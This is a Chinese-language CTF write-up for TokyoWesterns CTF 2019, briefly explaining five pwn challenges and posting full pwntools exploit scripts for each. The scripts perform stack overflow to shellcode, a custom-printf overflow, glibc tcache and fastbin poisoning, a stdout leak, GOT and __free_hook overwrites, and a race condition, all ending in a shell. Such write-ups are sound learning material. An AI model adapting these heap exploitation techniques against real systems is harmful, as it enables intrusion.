TokyoWesterns CTF 2019

比赛感觉是已经尽力了,可惜还是差一点进前十吧,给De1ta的师傅递茶!希望明年能进前十!

下面记录下自己做的题和一些还不是很明白的题但是队里师傅搞定的题。

warm-up-pwn

题目很简单,没有nx,有栈溢出,把shellcode读到bss然后转跳到bss就可以了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
p = process("./warmup-b8fa17414a043a62ba16fdeb4f82051d35fc6f434f7130d6d988d6c2d312e73e")
gdb.attach(p)
p.recvuntil(":)\n")
pop_rdi = 0x0000000000400773
bss = 0x601000+0x800
p.sendline("a"*0x100+"b"*8+p64(pop_rdi)+p64(bss)+p64(0x400580)+p64(bss))
sleep(1)
p.sendline(asm(shellcraft.sh()))
p.interactive()

printf

这里这个题膜ch4rle师傅,发现了漏洞并且成功写出了利用。题目自己完成了一个printf的功能,其中在处理%s的时候有两次strlen的操作导致了其产生了溢出。(这个坑之后来填,其实自己并不是很理解这个自己写的过程。。可能逆向能力太差了。)贴出大哥的脚本。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

from pwn import *

debug=0

context.log_level='debug'

if debug:
p=process('./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('printf.chal.ctf.westerns.tokyo', 10001)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

ru("What's your name?")
sl('%hhd'*38+'|%ld|%ld|%ld|%ld|%ld|%ld|%ld')
ru('Hi, \n')
data = ru('\n').split('|')[1:-1]
data = [int(i) for i in data]
for i in range(len(data)):
data[i] += 0x10000000000000000
data[i] &= 0xffffffffffffffff
for i in range(len(data)):
print(i,hex(data[i]))

stack = data[1]-0x6b0
canary = data[2]
pbase = data[3]-0x2a40
abc = pbase + 0x3033
st = data[1]-0x1f0+0x7f
libc = data[4]
if debug:
base = libc-0x20830
else:
base = libc-0x26B6B

ru('Do you leave a comment?')
print(hex(stack+6))
raw_input(hex(pbase+0x287B))
'''
payload = '%hhx'*7+'%lx'*7+'%80x'*13+'%s'*3+p64(pbase+0xdeadbeef)
payload = payload.ljust(8*20,'a')
payload += p64(stack+6)*3
sl(payload)
'''
payload = '%c'*12+'%390c'+'%s'*5+'\0'
payload = payload.ljust(8*6,'a')
payload +=p64(st)*2+p64(st-9)+p64(stack+0xe)+p64(st-0x18-1-14)
#payload = payload.ljust(0x68,'a')
#payload += p64(pbase+0xdeadbeef)
payload += 'a'*2
if debug:
payload += p64(base+0xf1147)
else:
payload += p64(base+0x106EF8)
payload = payload.ljust(0x68,'\0')
payload = payload.ljust(0x100,'a')
sl(payload)

print(hex(pbase))
print(hex(stack))
print(hex(base))
p.interactive()

aster-alloc

首先这里补充一下关于relloc的知识。

  1. realloc(0) 等于free 并且清空bss
  2. realloc(new_size < old_size) 等于edit
  3. realloc(old_size < new_size) 等拓展堆块
  4. realloc(new_size)并且指针为空即申请一个新的堆块。

有了以上的知识就可以做这个题目了,首先题目给了四个功能。

  1. add by realloc
  2. add by malloc
  3. add by calloc
  4. free

都存在uaf漏洞,但是每次申请内存前都会检查原来的位置是否储存了堆地址,这就为之后造成了一些麻烦,导致malloc,calloc都只能使用一次。所以,题目最关键的是利用realloc来绕过这些限制。

思路如下

  1. 构造残留的libc地址在堆上使得其可以利用tcache attack 到stdout造成泄漏
  2. 泄漏出来后就可以直接进行tcache attack 到free_hook getshell
  3. 思路上是很简单,但是在实现的过程中是有很多坑的,这里会在exp中以注释的形式添加。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

debug=1
context.log_level='debug'


if debug:
p=process('./asterisk_alloc')
gdb.attach(p)
else:
p=remote('ast-alloc.chal.ctf.westerns.tokyo', 10001)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)


def add(idx,sz,data,wait=True):
sl(str(idx))
ru('Size: ')
sl(str(sz))
ru('Data: ')
if sz == 0:
if wait:
ru('Your choice: ')
else:
se(data)
if wait:
ru('Your choice: ')

def delete(idx):
sl('4')
ru('Which: ')
sl(idx)
ru('Your choice: ')

add(3,0x60,'a')
add(3,0,'')
add(3,0x90,"a")
add(3,0,'')
add(3,0xa0,'c')
add(3,0,'')
add(3,0xb0,'cc')
add(3,0,'') # 中间只是为了防止0x90的堆块合并
add(3,0x90,'d')
#raw_input()
for i in range(7):
delete('r')
add(3,0,'') # 拿到残留的libc地址。

add(3,0x60,'e') #申请出0x60的堆块然后申请0x100使其进行拓展导致覆盖到我们之前free的有libc的堆块改低位到stdout泄漏。

#add(3,0x100,'\0'*0x68+p64(0x31)+'\x60\x07\xdd')
add(3,0x100,'\0'*0x68+p64(0x31)+'\x60\x77')

add(3,0,'')
raw_input()
add(3,0x90,'f')
raw_input()
add(3,0,'')
raw_input()
add(1,0x90,p64(0xfbad3887)+p64(0)*3+'\0',False) # 利用tcache attack 去攻击

data = ru(p64(0xffffffffffffffff))
libc = u64(data[8:16])
base = libc-0x3ed8b0
free_hook = base+0x3ed8e8
system = base+0x4f440
ru('Your choice: ')
# 接下来就是常规操作进行一个attack然后getshell。
add(3,0x20,'g')
add(3,0,'')

add(3,0x100,'\0'*0x68+p64(0xa1)+p64(free_hook-8))
add(3,0,'')
add(3,0x20,'g')
add(3,0,'')
add(3,0x20,'/bin/sh\0'+p64(system))
sl('4')
ru('Which: ')
sl('r')

print(hex(base))
p.interactive()

securekarte

逆向起来不难,漏洞也很明显有uaf并且存在modify函数但是只有一次机会。然后是calloc申请的堆块所以不能随便进行一个tcache attack因为他分配不走。。tcache,很迷😂。没有开pie。

  1. fastbinattack 到name段,因为有一个rename函数可以无限次使用。
  2. 利用rename伪造堆块free到fastbin中,利用malloc_conlisate,把0x21的堆块放进了unsorted
    bin,unsortedbin attack 到reverse末尾。
  3. fastbin attack 到reverse 然后把lock字符串直接改成key,并且把list也改到got表,got表不可写开了部分。
  4. 改got表的末尾然后getshell(这里听了ch4rle师傅的可以改free为puts 去泄漏。。不过当时有点脑子短路。。)

###exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c="A"):
cmd(1)
cmd(size)
p.sendafter("> ",c)
p.readuntil("id ")
return int(p.readline(),10)
def free(idx):
cmd(3)
cmd(idx)
def edit(idx,c):
cmd(4)
cmd(idx)
p.sendafter("> ",c)
def do_name(name):
p.sendafter(".. ",name)
def rename(name):
cmd(99)
do_name(name)

context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=process('./karte')
p=remote("karte.chal.ctf.westerns.tokyo",10001)
l=[0,0,0]
do_name(name='A')
for i in range(7):
l[0]=add(0x68)
free(l[0])
for i in range(7):
l[0]=add(0x78)
free(l[0])
for i in range(7):
l[0]=add(0x10)
free(l[0])
l[0]=add(0x78)
l[1]=add(0x78)
free(l[0])
free(l[1])
edit(l[1],p32(0x6021a0)[:-1])
rename(flat(0,0x81,0,0))
l[0]=add(0x78)
l[1]=add(0x78,(p64(0x21)*14))
rename(flat(0,0x21))
l[2]=add(0x801,"AA")
free(l[1])
free(l[2])
rename(p64(0)+p64(0x21)+p64(0)+p64(0x602118-5-0x10))
l[1]=add(0x10)
rename(p64(0)+p64(0x71))
free(l[1])
free(l[0])
rename(p64(0)+p64(0x71)+p64(0x602110))
add(0x68)
got=0x000000000602018#free
puts=0x000000000400710#puts
aim=add(0x68,p64(0x0000000400000003)+p64(0xdeadbeefdeadbeef)*3+p64(0x12300000001)+p64(got)+p64(0)*2+p64(0x13200000001)+p64(0x000000000602078)+p64(0x0000deadc0bebeef))
edit(0x123,p64(puts)[:6])


free(0x132)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(libc.sym['atoi'])
log.warning(hex(base))
libc.address=base
#gdb.attach(p,'b *0x000000000400D99')

edit(0x132,p64(libc.sym['system'])[:6])

cmd('/bin/sh')
'''

p.sendline("cat flag")
log.warning(p.readlien())
#raw_input()
'''
p.interactive()

muil-heap

题目是ch4rle师傅秒的。。当时午睡了。。起床发现大哥都秒了。还没仔细看,cpp好恶心。大概就是条件竞争然后有show函数没啥限制。贴出大哥脚本,大哥tql!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

debug=1
context.log_level='debug'


if debug:
p=process('./multi_heap-2faaaa3f601bbd51a7929f934754cb685c3f7f789abc1ce2e709b9ac7c1694ee')
#p=process('',env={'LD_PRELOAD':'./libc.so.6'})
#gdb.attach(p)
else:
p=remote('multiheap.chal.ctf.westerns.tokyo', 10001)

def ru(x):
return p.recvuntil(x,timeout=2)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def add(ty,sz,m=True):
s = ['char','long','float']
sl('1')
ru('Which: ')
sl(s[ty])
ru('Size: ')
sl(str(sz))
ru('Main or Thread? (m/t): ')
if m:
sl('m')
else:
sl('t')
ru('Your choice: ')

def delete(idx):
sl('2')
ru('Index: ')
sl(str(idx))
ru('Your choice: ')

def write(idx):
sl('3')
ru('Index: ')
sl(str(idx))

def char_read(idx,sz,content):
sl('4')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(sz))
ru('Content: ')
se(content)
ru('Your choice: ')

def copy(src,dst,sz,t=False):
sl('5')
ru('index: ')
sl(str(src))
ru('index: ')
sl(str(dst))
ru('Size: ')
sl(str(sz))
ru('Thread process? (y/n): ')
if t:
sl('y')
else:
sl('n')
ru('Your choice: ')

for i in range(9):
add(0,0x90)

for i in range(8):
delete(0)

for i in range(7):
add(0,0x90)

add(1,0x90)

write(8)
ru('0\n')
libc = int(ru('\n'))
base = libc - 0x3ebca0
free_hook = base + 0x3ed8e8
system = base + 0x4f440
ru('Your choice: ')

for i in range(9):
delete(0)

add(0,0x68) #0
add(0,0x68) #1
add(0,0x78)
delete(1)
char_read(1,0x8,p64(free_hook))
sl('5')
ru('index: ')
sl('1')
ru('index: ')
sl('0')
ru('Size: ')
sl(str(0x68))
ru('Thread process? (y/n): ')
se('y\n2\n0\n')
ru(' Index: Done')
ru('Your choice: ')

add(0,0x68) #1
char_read(1,0x8,'/bin/sh\0')
add(0,0x68) #2
char_read(2,0x8,p64(system))

sl('2')
ru('Index: ')
sl('1')


data = ru('Done')
if data=='Done':
exit()


print(hex(base))
p.interactive()

总结

题目质量确实挺高的,学到很多思路可以借鉴。